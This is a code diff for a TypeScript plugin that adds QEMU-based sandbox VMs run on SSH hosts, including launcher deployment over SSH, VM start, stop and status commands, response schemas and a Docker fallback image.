||||
detectPlatform,
|
||||
forgetHostKey,
|
||||
HostKeyChangedError,
|
||||
HostKeyUnknownError,
|
||||
RemoteExecutionEnv,
|
||||
type RemotePlatform,
|
||||
type SshTarget,
|
||||
scanHostKey,
|
||||
sshConnection,
|
||||
} from "@earendil-works/pi-env";
|
||||
import { compile } from "@earendil-works/pi-schema";
|
||||
import { BACKGROUND_CONTEXT } from "@p2/app/v1";
|
||||
import { remotePaths, value } from "@p2/app/v1/node";
|
||||
import { ENV_NAME, type EnvConfig, envId, envRevision, loadEnvs, saveEnv } from "./config.ts";
|
||||
import type { DirectoryListing, EnvSummary, EnvTest } from "./contract.ts";
|
||||
import { type RemoteSession, remoteSession, sshOptions } from "./remote-env.ts";
|
||||
import {
|
||||
ENV_NAME,
|
||||
type EnvConfig,
|
||||
envId,
|
||||
envRevision,
|
||||
type GondolinEnvConfig,
|
||||
loadEnvs,
|
||||
type SshEnvConfig,
|
||||
saveEnv,
|
||||
} from "./config.ts";
|
||||
import { connectionRevision } from "./connection-revision.ts";
|
||||
import type { DirectoryListing, EnvSummary, EnvTest, SandboxStatus, SandboxSupport } from "./contract.ts";
|
||||
import { envConnection, type RemoteSession, remoteSession, sandboxHost, sshOptions } from "./remote-env.ts";
|
||||
import { launcherCommand, sandboxArgument, sandboxKey, sandboxRevision } from "./sandbox-host.ts";
|
||||
import { LauncherCheckSchema, LauncherStatusSchema } from "./sandbox-schema.ts";
|
||||
|
||||
const errorMessage = (error: unknown): string => (error instanceof Error ? error.message : String(error));
|
||||
|
||||
|
|
@ -33,6 +48,8 @@ const LISTING_LIMIT = 1000;
|
|||
const MAX_KEY_BYTES = 16 * 1024;
|
||||
|
||||
const run = promisify(execFile);
|
||||
const checkReport = compile(LauncherCheckSchema);
|
||||
const statusReport = compile(LauncherStatusSchema);
|
||||
|
||||
type Browser = { revision: string; session: RemoteSession; timer?: ReturnType<typeof setTimeout> };
|
||||
|
||||
|
|
@ -44,16 +61,20 @@ export class EnvManager {
|
|||
private readonly browsers = new Map<string, Browser>();
|
||||
|
||||
private readonly session: (name: string, config: EnvConfig) => RemoteSession;
|
||||
/** The sandbox launcher's source directory (this plugin's sandbox/). */
|
||||
private readonly launcher: string;
|
||||
|
||||
/** `session` replaces SSH for tests: the environment that browses an env's directories. */
|
||||
constructor(
|
||||
directory: string,
|
||||
uses: (name: string) => Promise<number>,
|
||||
launcher: string,
|
||||
session: (name: string, config: EnvConfig) => RemoteSession = (name, config) =>
|
||||
remoteSession(directory, name, config, "/"),
|
||||
remoteSession(directory, name, config, "/", { launcher }),
|
||||
) {
|
||||
this.directory = directory;
|
||||
this.uses = uses;
|
||||
this.launcher = launcher;
|
||||
this.session = session;
|
||||
}
|
||||
|
||||
|
|
@ -64,12 +85,19 @@ export class EnvManager {
|
|||
return config;
|
||||
}
|
||||
|
||||
/** An SSH env's configuration; sandboxes have no host keys or SSH keys of their own. */
|
||||
async sshConfig(name: string): Promise<SshEnvConfig> {
|
||||
const config = await this.config(name);
|
||||
if (config.type !== "ssh") throw new Error(`"${name}" is a sandbox; manage its host's SSH settings instead`);
|
||||
return config;
|
||||
}
|
||||
|
||||
/**
|
||||
* A pi-env connection to env `name` configured as `config`, over SSH with p2's key and known hosts, deploying the
|
||||
* daemon pi-env ships. It starts at its first request; the caller closes it.
|
||||
* A pi-env connection to env `name` configured as `config` (a sandbox: through its host), with p2's key and known
|
||||
* hosts, deploying the daemon pi-env ships. It starts at its first request; the caller closes it.
|
||||
*/
|
||||
connection(name: string, config: EnvConfig): Connection {
|
||||
return sshConnection(sshOptions(this.directory, name, config)).connection;
|
||||
return envConnection(this.directory, name, config, { launcher: this.launcher }).connection;
|
||||
}
|
||||
|
||||
async list(): Promise<EnvSummary[]> {
|
||||
|
|
@ -84,15 +112,36 @@ export class EnvManager {
|
|||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other changes of a sandbox apply when its VM restarts; moving it to another host stops the VM on the old one first
|
||||
* (nothing could reach it afterwards), refusing the change when that fails.
|
||||
*/
|
||||
async save(name: string, config: EnvConfig): Promise<void> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const previous = Object.hasOwn(configs, name) ? configs[name] : undefined;
|
||||
if (previous?.type === "gondolin" && (config.type !== "gondolin" || config.host !== previous.host))
|
||||
await this.sandboxStop(name).catch((error: unknown) => {
|
||||
throw new Error(
|
||||
`Could not stop sandbox ${name}'s VM on "${previous.host}", so it was not moved: ${errorMessage(error)}`,
|
||||
);
|
||||
});
|
||||
await saveEnv(this.directory, name, config);
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
/** Refused while any session, archived or not, references the env: sessions never fall back to local tools. */
|
||||
/**
|
||||
* Refused while any session, archived or not, references the env: sessions never fall back to local tools. A
|
||||
* sandbox's VM is stopped first (nothing could stop it once its configuration is gone); deleting is refused when that
|
||||
* fails.
|
||||
*/
|
||||
async delete(name: string): Promise<void> {
|
||||
const uses = await this.uses(name);
|
||||
if (uses > 0) throw new Error(`${uses} session${uses === 1 ? "" : "s"} still use "${name}"`);
|
||||
const configs = await loadEnvs(this.directory);
|
||||
if (Object.hasOwn(configs, name) && configs[name]?.type === "gondolin")
|
||||
await this.sandboxStop(name).catch((error: unknown) => {
|
||||
throw new Error(`Could not stop sandbox ${name}'s VM, so it was not deleted: ${errorMessage(error)}`);
|
||||
});
|
||||
await saveEnv(this.directory, name, undefined);
|
||||
this.release(name);
|
||||
// A key p2 generated or stored for this env goes with it.
|
||||
|
|
@ -119,7 +168,8 @@ export class EnvManager {
|
|||
private async adoptKey(name: string, path: string): Promise<void> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const config = Object.hasOwn(configs, name) ? configs[name] : undefined;
|
||||
if (config && config.identityFile !== path) await this.save(name, { ...config, identityFile: path });
|
||||
if (config?.type === "ssh" && config.identityFile !== path)
|
||||
await this.save(name, { ...config, identityFile: path });
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -169,16 +219,26 @@ export class EnvManager {
|
|||
}
|
||||
}
|
||||
|
||||
/** Connect as a session would (detect, deploy, start), then measure what the Envs panel shows. */
|
||||
/**
|
||||
* Connect as a session would (detect, deploy, start; a sandbox: start its VM), then measure what the Envs panel
|
||||
* shows. An SSH env's test also reports whether it can host sandboxes.
|
||||
*/
|
||||
async test(name: string): Promise<EnvTest> {
|
||||
const config = await this.config(name);
|
||||
const key = `${name}@${envRevision(config)}`;
|
||||
const options = sshOptions(this.directory, name, config);
|
||||
const warnings: string[] = [];
|
||||
let result: EnvTest;
|
||||
try {
|
||||
const { connection, remote } = await connectSsh({ ...options, onLog: () => {} });
|
||||
try {
|
||||
const result = config.type === "ssh" ? await this.testSsh(name, config) : await this.testSandbox(name, config);
|
||||
this.tests.set(key, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/** Measure a started connection: its home, round trip and watch mode. */
|
||||
private async measure(
|
||||
name: string,
|
||||
config: EnvConfig,
|
||||
connection: Connection,
|
||||
remote: { platform: string; arch: string },
|
||||
warnings: string[],
|
||||
): Promise<EnvTest> {
|
||||
const info = await connection.info();
|
||||
const env = new RemoteExecutionEnv({ connection, id: envId(name, config), cwd: info.home });
|
||||
const started = performance.now();
|
||||
|
|
@ -187,8 +247,7 @@ export class EnvManager {
|
|||
const watcher = value(await env.watch([{ path: info.home }], () => {}, context));
|
||||
const watchMode = watcher.mode;
|
||||
await watcher.stop(context);
|
||||
warnings.push(...remote.warnings);
|
||||
result = {
|
||||
return {
|
||||
ok: true,
|
||||
testedAt: Date.now(),
|
||||
platform: remote.platform,
|
||||
|
|
@ -199,6 +258,31 @@ export class EnvManager {
|
|||
watchMode,
|
||||
warnings,
|
||||
};
|
||||
}
|
||||
|
||||
private async testSandbox(name: string, config: GondolinEnvConfig): Promise<EnvTest> {
|
||||
const { connection } = envConnection(this.directory, name, config, {
|
||||
launcher: this.launcher,
|
||||
onLog: () => {},
|
||||
});
|
||||
try {
|
||||
const info = await connection.info();
|
||||
return await this.measure(name, config, connection, { platform: "linux", arch: info.arch }, []);
|
||||
} catch (error) {
|
||||
return { ok: false, testedAt: Date.now(), error: errorMessage(error) };
|
||||
} finally {
|
||||
connection.close();
|
||||
}
|
||||
}
|
||||
|
||||
private async testSsh(name: string, config: SshEnvConfig): Promise<EnvTest> {
|
||||
const options = sshOptions(this.directory, name, config);
|
||||
let result: EnvTest;
|
||||
try {
|
||||
const { connection, remote } = await connectSsh({ ...options, onLog: () => {} });
|
||||
try {
|
||||
result = await this.measure(name, config, connection, remote, [...remote.warnings]);
|
||||
if (result.ok) result.sandboxes = await sandboxSupport(options, remote, this.launcher);
|
||||
} finally {
|
||||
connection.close();
|
||||
}
|
||||
|
|
@ -214,24 +298,70 @@ export class EnvManager {
|
|||
};
|
||||
}
|
||||
}
|
||||
this.tests.set(key, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/** The host of sandbox `name` and the system it runs (Linux, or the error saying otherwise). */
|
||||
private async sandboxTarget(
|
||||
name: string,
|
||||
): Promise<{ config: GondolinEnvConfig; target: SshTarget; remote: RemotePlatform }> {
|
||||
const config = await this.config(name);
|
||||
if (config.type !== "gondolin") throw new Error(`"${name}" is not a sandbox`);
|
||||
const target = await sandboxHost(this.directory, name, config.host);
|
||||
const remote = await detectPlatform(target);
|
||||
if (remote.platform !== "linux")
|
||||
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${remote.platform}`);
|
||||
return { config, target, remote };
|
||||
}
|
||||
|
||||
/** Run a launcher command for sandbox `name` on its host and read the VM's state from its answer. */
|
||||
private async sandboxCommand(name: string, command: "status" | "start" | "stop"): Promise<SandboxStatus> {
|
||||
const { config, target, remote } = await this.sandboxTarget(name);
|
||||
const key = sandboxKey(this.directory, name);
|
||||
const args = command === "start" ? [command, key, sandboxArgument(config)] : [command, key];
|
||||
const report = await launcherCommand(target, remote, this.launcher, args);
|
||||
// The host's answer is wire input.
|
||||
if (!statusReport.check(report)) throw new Error("Unexpected answer from the sandbox launcher");
|
||||
if (report.state === "stopped") return { state: "stopped" };
|
||||
return {
|
||||
state: "running",
|
||||
startedAt: report.startedAt,
|
||||
cpus: report.cpus,
|
||||
memoryMb: report.memoryMb,
|
||||
current: report.revision === sandboxRevision(config),
|
||||
};
|
||||
}
|
||||
|
||||
sandboxStatus(name: string): Promise<SandboxStatus> {
|
||||
return this.sandboxCommand(name, "status");
|
||||
}
|
||||
|
||||
async sandboxStart(name: string): Promise<SandboxStatus> {
|
||||
return this.sandboxCommand(name, "start");
|
||||
}
|
||||
|
||||
/** Stops the VM; the browsing connection goes with it. */
|
||||
async sandboxStop(name: string): Promise<SandboxStatus> {
|
||||
this.release(name);
|
||||
return this.sandboxCommand(name, "stop");
|
||||
}
|
||||
|
||||
async acceptHostKey(name: string, lines: readonly string[]): Promise<void> {
|
||||
await acceptHostKey(sshOptions(this.directory, name, await this.config(name)), lines);
|
||||
await acceptHostKey(sshOptions(this.directory, name, await this.sshConfig(name)), lines);
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
async forgetHostKey(name: string): Promise<void> {
|
||||
await forgetHostKey(sshOptions(this.directory, name, await this.config(name)));
|
||||
await forgetHostKey(sshOptions(this.directory, name, await this.sshConfig(name)));
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
/** A connection for browsing an env's directories, shared and closed after a while without use. */
|
||||
private async browser(name: string): Promise<RemoteSession> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const config = await this.config(name);
|
||||
const revision = envRevision(config);
|
||||
// A sandbox's connection goes through its host: an edit of either starts a new one.
|
||||
const revision = connectionRevision(configs, config);
|
||||
let browser = this.browsers.get(name);
|
||||
if (browser?.revision !== revision) {
|
||||
this.release(name);
|
||||
|
|
@ -265,9 +395,13 @@ export class EnvManager {
|
|||
return value(await session.env.absolutePath(absolute, context));
|
||||
}
|
||||
|
||||
/** Start the connections of every env in the background, so the first listing does not wait for ssh. */
|
||||
/**
|
||||
* Start the connections of every SSH env in the background, so the first listing does not wait for ssh. Sandboxes
|
||||
* are left alone: connecting to one starts its VM.
|
||||
*/
|
||||
async warm(): Promise<void> {
|
||||
for (const name of Object.keys(await loadEnvs(this.directory)))
|
||||
for (const [name, config] of Object.entries(await loadEnvs(this.directory)))
|
||||
if (config.type === "ssh")
|
||||
void this.browser(name)
|
||||
.then((session) => session.connection.info())
|
||||
.catch(() => {});
|
||||
|
|
@ -341,3 +475,32 @@ export class EnvManager {
|
|||
for (const name of [...this.browsers.keys()]) this.release(name);
|
||||
}
|
||||
}
|
||||
|
||||
/** Whether the host can run sandboxes, from the launcher's `check`; a failed check is a "none" with its error. */
|
||||
async function sandboxSupport(target: SshTarget, remote: RemotePlatform, launcher: string): Promise<SandboxSupport> {
|
||||
if (remote.platform !== "linux")
|
||||
return { runtime: "none", detail: `Sandboxes need Linux; this host runs ${remote.platform}.` };
|
||||
let report: unknown;
|
||||
try {
|
||||
report = await launcherCommand(target, remote, launcher, ["check"]);
|
||||
} catch (error) {
|
||||
return { runtime: "none", detail: `The sandbox check failed: ${errorMessage(error)}` };
|
||||
}
|
||||
// The host's answer is wire input.
|
||||
if (!checkReport.check(report)) return { runtime: "none", detail: "The sandbox check answered unexpectedly." };
|
||||
const qemu = report.qemu ? `QEMU ${report.qemu}` : "no QEMU";
|
||||
const [major = 0, minor = 0] = report.qemu.split(".").map(Number);
|
||||
const native: string[] = [];
|
||||
if (!report.kvm) native.push(report.kvmDevice ? "/dev/kvm is not accessible to this user" : "there is no /dev/kvm");
|
||||
if (!report.qemu) native.push("QEMU is not installed");
|
||||
else if (major < 7 || (major === 7 && minor < 2)) native.push(`QEMU ${report.qemu} is too old (Gondolin needs 7.2)`);
|
||||
if (!report.node || Number(report.node.split(".")[0]) < 22) native.push("Node 22 or newer is not installed");
|
||||
if (report.runtime === "native")
|
||||
return { runtime: "native", detail: `Gondolin runs natively (${qemu}, Node ${report.node}, KVM).` };
|
||||
if (report.runtime === "docker")
|
||||
return { runtime: "docker", detail: `Gondolin runs in Docker${native.length ? `: ${native.join(", ")}` : ""}.` };
|
||||
return {
|
||||
runtime: "none",
|
||||
detail: `This host cannot run sandboxes: ${[...native, ...(report.docker ? [] : ["no usable Docker"])].join(", ")}.`,
|
||||
};
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,14 +1,20 @@
|
|||
import {
|
||||
type Connection,
|
||||
Connection,
|
||||
type ConnectionOptions,
|
||||
deployDaemon,
|
||||
detectPlatform,
|
||||
packagedDaemon,
|
||||
RemoteExecutionEnv,
|
||||
type RemotePlatform,
|
||||
type SshConnectOptions,
|
||||
sshArguments,
|
||||
sshConnection,
|
||||
} from "@earendil-works/pi-env";
|
||||
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath } from "./config.ts";
|
||||
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath, loadEnvs, type SshEnvConfig } from "./config.ts";
|
||||
import { deployedCommand, deployLauncher, runLauncher, sandboxArgument, sandboxKey } from "./sandbox-host.ts";
|
||||
|
||||
/** `connectSsh`/`sshConnection` options for an env of `envs.json`. */
|
||||
export function sshOptions(directory: string, name: string, config: EnvConfig): SshConnectOptions {
|
||||
/** `connectSsh`/`sshConnection` options for an SSH env of `envs.json`. */
|
||||
export function sshOptions(directory: string, name: string, config: SshEnvConfig): SshConnectOptions {
|
||||
return {
|
||||
host: config.host,
|
||||
...(config.user === undefined ? {} : { user: config.user }),
|
||||
|
|
@ -20,6 +26,73 @@ export function sshOptions(directory: string, name: string, config: EnvConfig):
|
|||
};
|
||||
}
|
||||
|
||||
export type EnvConnectOptions = {
|
||||
/**
|
||||
* The sandbox launcher's source directory (this plugin's sandbox/: `pluginFile("sandbox")` in a facet); needed by
|
||||
* sandboxes only.
|
||||
*/
|
||||
launcher?: string;
|
||||
/** The daemon to run (default: the one pi-env ships for the machine). */
|
||||
binary?: string;
|
||||
onLog?: ConnectionOptions["onLog"];
|
||||
};
|
||||
|
||||
/** A connection and, once it started, the system it runs on (a sandbox's: Linux on its host's architecture). */
|
||||
export type EnvConnection = { connection: Connection; remote(): RemotePlatform | undefined };
|
||||
|
||||
/**
|
||||
* A pi-env connection to env `name` that starts at its first request: over SSH for an SSH env; for a sandbox, over SSH
|
||||
* to its host, where p2's launcher starts the sandbox's VM if needed and runs the daemon in it. A sandbox's host
|
||||
* configuration is read from `directory`'s envs.json at each start.
|
||||
*/
|
||||
export function envConnection(
|
||||
directory: string,
|
||||
name: string,
|
||||
config: EnvConfig,
|
||||
options: EnvConnectOptions = {},
|
||||
): EnvConnection {
|
||||
if (config.type === "ssh")
|
||||
return sshConnection({
|
||||
...sshOptions(directory, name, config),
|
||||
...(options.binary === undefined ? {} : { binary: options.binary }),
|
||||
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
|
||||
});
|
||||
let remote: RemotePlatform | undefined;
|
||||
const { launcher } = options;
|
||||
const connection = new Connection({
|
||||
command: async () => {
|
||||
if (launcher === undefined) throw new Error(`No sandbox launcher to start sandbox ${name}`);
|
||||
const host = await sandboxHost(directory, name, config.host);
|
||||
const detected = remote ?? (await detectPlatform(host));
|
||||
if (detected.platform !== "linux")
|
||||
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${detected.platform}`);
|
||||
remote = detected;
|
||||
// The VM is Linux on the host's architecture: the host's own daemon runs in it.
|
||||
const daemon = await deployDaemon(host, detected, options.binary ?? packagedDaemon(detected));
|
||||
const deployed = await deployLauncher(host, detected, launcher);
|
||||
// Start the VM first, with the launcher's own allowance (a first start may build the Docker image and download
|
||||
// the guest image): the daemon connection must answer within pi-env's 30 s once it runs.
|
||||
const key = sandboxKey(directory, name);
|
||||
await deployedCommand(host, deployed, ["start", key, sandboxArgument(config)]);
|
||||
return [
|
||||
host.ssh ?? "ssh",
|
||||
...sshArguments(host),
|
||||
runLauncher(deployed, ["daemon", key, sandboxArgument(config), daemon, "--"]),
|
||||
];
|
||||
},
|
||||
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
|
||||
});
|
||||
return { connection, remote: () => remote };
|
||||
}
|
||||
|
||||
/** The SSH options of sandbox `name`'s host `host`, as configured now. */
|
||||
export async function sandboxHost(directory: string, name: string, host: string): Promise<SshConnectOptions> {
|
||||
const configs = await loadEnvs(directory);
|
||||
const config = Object.hasOwn(configs, host) ? configs[host] : undefined;
|
||||
if (config?.type !== "ssh") throw new Error(`Sandbox ${name} runs on "${host}", which is not an SSH environment`);
|
||||
return sshOptions(directory, host, config);
|
||||
}
|
||||
|
||||
export type RemoteSession = {
|
||||
env: RemoteExecutionEnv;
|
||||
connection: Connection;
|
||||
|
|
@ -38,19 +111,18 @@ export function remoteSession(
|
|||
name: string,
|
||||
config: EnvConfig,
|
||||
cwd: string,
|
||||
onLog?: (text: string) => void,
|
||||
options: Omit<EnvConnectOptions, "binary"> = {},
|
||||
): RemoteSession {
|
||||
const { connection, remote } = sshConnection({
|
||||
...sshOptions(directory, name, config),
|
||||
...(onLog === undefined ? {} : { onLog }),
|
||||
});
|
||||
const { connection, remote } = envConnection(directory, name, config, options);
|
||||
const shellPath = config.type === "ssh" ? config.shellPath : undefined;
|
||||
const shellEnv = config.type === "ssh" ? config.shellEnv : undefined;
|
||||
const at = (directory: string) =>
|
||||
new RemoteExecutionEnv({
|
||||
connection,
|
||||
id: envId(name, config),
|
||||
cwd: directory,
|
||||
...(config.shellPath === undefined ? {} : { shellPath: config.shellPath }),
|
||||
...(config.shellEnv === undefined ? {} : { shellEnv: config.shellEnv }),
|
||||
...(shellPath === undefined ? {} : { shellPath }),
|
||||
...(shellEnv === undefined ? {} : { shellEnv }),
|
||||
});
|
||||
return { env: at(cwd), connection, remote, at };
|
||||
}
|
||||
|
|
|
|||
172
apps/p2/plugins/envs/sandbox-host.ts
Normal file
172
apps/p2/plugins/envs/sandbox-host.ts
Normal file
|
|
@ -0,0 +1,172 @@
|
|||
// p2's sandbox launcher on a host environment: deploying it (sandbox/ of this plugin, named by its content under the
|
||||
// host's ~/.pi/p2/sandbox/; the files are read from the source directory the caller passes), the command line that runs it over SSH, and one-shot commands (check, start, status, stop)
|
||||
// whose JSON answer p2 reads.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { hostname } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { type RemotePlatform, type SshTarget, sshArguments } from "@earendil-works/pi-env";
|
||||
import type { GondolinEnvConfig } from "./config.ts";
|
||||
|
||||
/** The launcher's files as deployed: name on the host, file in the launcher's source directory. */
|
||||
const FILES: readonly (readonly [string, string])[] = [
|
||||
["p2-sandbox.sh", "p2-sandbox.sh"],
|
||||
["p2-sandbox.mjs", "p2-sandbox.mjs"],
|
||||
["Dockerfile", "Dockerfile"],
|
||||
["package.json", "host-package.json"],
|
||||
["package-lock.json", "host-package-lock.json"],
|
||||
];
|
||||
|
||||
type Bundle = { readonly files: readonly (readonly [string, Buffer])[]; readonly id: string };
|
||||
const bundles = new Map<string, Bundle>();
|
||||
|
||||
/**
|
||||
* The launcher's files from `source` (this plugin's sandbox/ directory: a facet passes `pluginFile("sandbox")`) and
|
||||
* the name of their directory on the host (their SHA-256), read once per source.
|
||||
*/
|
||||
function bundleOf(source: string): Bundle {
|
||||
let bundle = bundles.get(source);
|
||||
if (!bundle) {
|
||||
const files = FILES.map(([name, path]) => [name, readFileSync(join(source, path))] as const);
|
||||
const hash = createHash("sha256");
|
||||
for (const [name, content] of files) hash.update(`${name}\0${content.length}\0`).update(content);
|
||||
bundle = { files, id: hash.digest("hex").slice(0, 16) };
|
||||
bundles.set(source, bundle);
|
||||
}
|
||||
return bundle;
|
||||
}
|
||||
|
||||
/** The name of the launcher's directory on a host: the content hash of its files in `source`. */
|
||||
export function launcherId(source: string): string {
|
||||
return bundleOf(source).id;
|
||||
}
|
||||
|
||||
/** How long a deployment or one-shot command may take; `start` may download the guest image first. */
|
||||
const COMMAND_TIMEOUT_MS = 60_000;
|
||||
const START_TIMEOUT_MS = 660_000;
|
||||
|
||||
const quote = (text: string): string => `'${text.replaceAll("'", "'\\''")}'`;
|
||||
|
||||
/** The sandbox configuration the launcher takes: base64 JSON of what the VM needs. */
|
||||
export function sandboxArgument(config: GondolinEnvConfig): string {
|
||||
const value = {
|
||||
...(config.image === undefined ? {} : { image: config.image }),
|
||||
mounts: config.mounts ?? [],
|
||||
allowHosts: config.allowHosts ?? [],
|
||||
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
|
||||
...(config.memoryMb === undefined ? {} : { memoryMb: config.memoryMb }),
|
||||
};
|
||||
return Buffer.from(JSON.stringify(value)).toString("base64");
|
||||
}
|
||||
|
||||
/** The configuration's revision as the launcher reports it for the running VM (it applies at the next start). */
|
||||
export function sandboxRevision(config: GondolinEnvConfig): string {
|
||||
return createHash("sha256").update(sandboxArgument(config)).digest("hex").slice(0, 16);
|
||||
}
|
||||
|
||||
/** The remote command line that runs the launcher in `directory` with `args`. */
|
||||
export function runLauncher(directory: string, args: readonly string[]): string {
|
||||
return ["sh", quote(`${directory}/p2-sandbox.sh`), ...args.map(quote)].join(" ");
|
||||
}
|
||||
|
||||
/** Run `command` on the host over SSH, optionally feeding `input`; resolves with stdout, rejects with stderr. */
|
||||
function runOnHost(
|
||||
target: SshTarget,
|
||||
command: string,
|
||||
input?: string,
|
||||
timeoutMs = COMMAND_TIMEOUT_MS,
|
||||
): Promise<string> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(target.ssh ?? "ssh", [...sshArguments(target), command], {
|
||||
stdio: ["pipe", "pipe", "pipe"],
|
||||
});
|
||||
const out: Buffer[] = [];
|
||||
const err: Buffer[] = [];
|
||||
const timer = setTimeout(() => child.kill("SIGKILL"), timeoutMs);
|
||||
child.stdout.on("data", (chunk: Buffer) => out.push(chunk));
|
||||
child.stderr.on("data", (chunk: Buffer) => err.push(chunk));
|
||||
child.on("error", (error) => {
|
||||
clearTimeout(timer);
|
||||
reject(error);
|
||||
});
|
||||
child.on("close", (code) => {
|
||||
clearTimeout(timer);
|
||||
const stderr = Buffer.concat(err).toString("utf8").trim();
|
||||
if (code === 0) resolve(Buffer.concat(out).toString("utf8"));
|
||||
else reject(new Error(stderr || `ssh exited with code ${code}`));
|
||||
});
|
||||
child.stdin.end(input ?? "");
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Make sure this launcher is on the host and return its directory. One round trip: the script checks the files'
|
||||
* hashes (a changed file is written again) and writes a missing or changed directory through a temporary one renamed
|
||||
* into place. Other versions stay (other p2 installations may use them) until unused for 30 days.
|
||||
*/
|
||||
export async function deployLauncher(target: SshTarget, remote: RemotePlatform, source: string): Promise<string> {
|
||||
const bundle = bundleOf(source);
|
||||
const root = `${remote.home}/.pi/p2/sandbox`;
|
||||
const directory = `${root}/${bundle.id}`;
|
||||
const sha = (content: Buffer) => createHash("sha256").update(content).digest("hex");
|
||||
const script = [
|
||||
"set -e",
|
||||
`d=${quote(directory)}`,
|
||||
`r=${quote(root)}`,
|
||||
'hash() { sha256sum "$1" 2>/dev/null | cut -d" " -f1; }',
|
||||
"intact() {",
|
||||
'\t[ -f "$d/.complete" ] || return 1',
|
||||
...bundle.files.map(([name, content]) => `\t[ "$(hash "$d/${name}")" = ${sha(content)} ] || return 1`),
|
||||
"}",
|
||||
"if ! intact; then",
|
||||
'\tmkdir -p "$r"',
|
||||
'\tt=$(mktemp -d "$d.XXXXXX")',
|
||||
...bundle.files.map(
|
||||
([name, content]) => `\tprintf %s ${quote(content.toString("base64"))} | base64 -d > "$t/${name}"`,
|
||||
),
|
||||
'\tchmod 755 "$t/p2-sandbox.sh"',
|
||||
'\ttouch "$t/.complete"',
|
||||
'\trm -rf "$d"',
|
||||
'\tmv "$t" "$d"',
|
||||
"fi",
|
||||
'touch "$d"',
|
||||
'find "$r" -mindepth 1 -maxdepth 1 -type d -name "????????????????" -mtime +30 -exec rm -rf {} +',
|
||||
].join("\n");
|
||||
await runOnHost(target, "sh -s", `${script}\n`);
|
||||
return directory;
|
||||
}
|
||||
|
||||
/**
|
||||
* The name a sandbox's VM has on its host: the sandbox's name, prefixed by this p2 installation (its machine and data
|
||||
* directory), so two installations with a sandbox of the same name on one host never share a VM.
|
||||
*/
|
||||
export function sandboxKey(directory: string, name: string): string {
|
||||
return `${createHash("sha256").update(`${hostname()}\0${directory}`).digest("hex").slice(0, 8)}.${name}`;
|
||||
}
|
||||
|
||||
/** Run a launcher command on the host (deploying the launcher first) and parse its last line of output as JSON. */
|
||||
export async function launcherCommand(
|
||||
target: SshTarget,
|
||||
remote: RemotePlatform,
|
||||
source: string,
|
||||
args: readonly string[],
|
||||
): Promise<unknown> {
|
||||
return deployedCommand(target, await deployLauncher(target, remote, source), args);
|
||||
}
|
||||
|
||||
/**
|
||||
* Run a command of the launcher deployed in `directory` and parse its last line of output as JSON; `start` may take
|
||||
* minutes (a first start builds the Docker image and downloads the guest image).
|
||||
*/
|
||||
export async function deployedCommand(target: SshTarget, directory: string, args: readonly string[]): Promise<unknown> {
|
||||
const timeoutMs = args[0] === "start" ? START_TIMEOUT_MS : COMMAND_TIMEOUT_MS;
|
||||
const output = await runOnHost(target, runLauncher(directory, args), undefined, timeoutMs);
|
||||
const line = output.trim().split("\n").at(-1) ?? "";
|
||||
try {
|
||||
return JSON.parse(line);
|
||||
} catch {
|
||||
throw new Error(`Unexpected answer from the sandbox launcher: ${line.slice(0, 200)}`);
|
||||
}
|
||||
}
|
||||
26
apps/p2/plugins/envs/sandbox-schema.ts
Normal file
26
apps/p2/plugins/envs/sandbox-schema.ts
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
// What the sandbox launcher on a host prints (p2-sandbox.sh check, p2-sandbox.mjs status/start/stop): wire input that
|
||||
// the manager checks before use.
|
||||
|
||||
import { bool, num, obj, str, union } from "@earendil-works/pi-schema";
|
||||
import { literal } from "@p2/app/v1";
|
||||
|
||||
/** `p2-sandbox.sh check`: how Gondolin can run on the host and what it found. */
|
||||
export const LauncherCheckSchema = obj(
|
||||
{
|
||||
runtime: union([literal("native"), literal("docker"), literal("none")]),
|
||||
system: str(),
|
||||
arch: str(),
|
||||
kvm: bool(),
|
||||
kvmDevice: bool(),
|
||||
qemu: str(),
|
||||
node: str(),
|
||||
docker: bool(),
|
||||
},
|
||||
{ open: true },
|
||||
);
|
||||
|
||||
/** `status`, `start` and `stop`: the VM's state; a running one names its configuration's revision. */
|
||||
export const LauncherStatusSchema = union([
|
||||
obj({ state: literal("stopped") }, { open: true }),
|
||||
obj({ state: literal("running"), startedAt: num(), revision: str(), cpus: num(), memoryMb: num() }, { open: true }),
|
||||
]);
|
||||
8
apps/p2/plugins/envs/sandbox/Dockerfile
Normal file
8
apps/p2/plugins/envs/sandbox/Dockerfile
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# Fallback for hosts that cannot run Gondolin directly (no Node 22+, or a QEMU older than 7.2, e.g. Ubuntu 22.04's 6.2):
|
||||
# the sandbox supervisors and their VMs run in this container instead, with the host's /dev/kvm passed in and the
|
||||
# host user's home mounted at the same path. Only Node and QEMU: Gondolin and the launcher come from the launcher's
|
||||
# directory in that home. p2-sandbox.sh builds it when it picks Docker, tagged with this file's hash.
|
||||
FROM node:24-trixie-slim
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends qemu-system-x86 qemu-system-arm qemu-utils ca-certificates \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
165
apps/p2/plugins/envs/sandbox/host-package-lock.json
generated
Normal file
165
apps/p2/plugins/envs/sandbox/host-package-lock.json
generated
Normal file
|
|
@ -0,0 +1,165 @@
|
|||
{
|
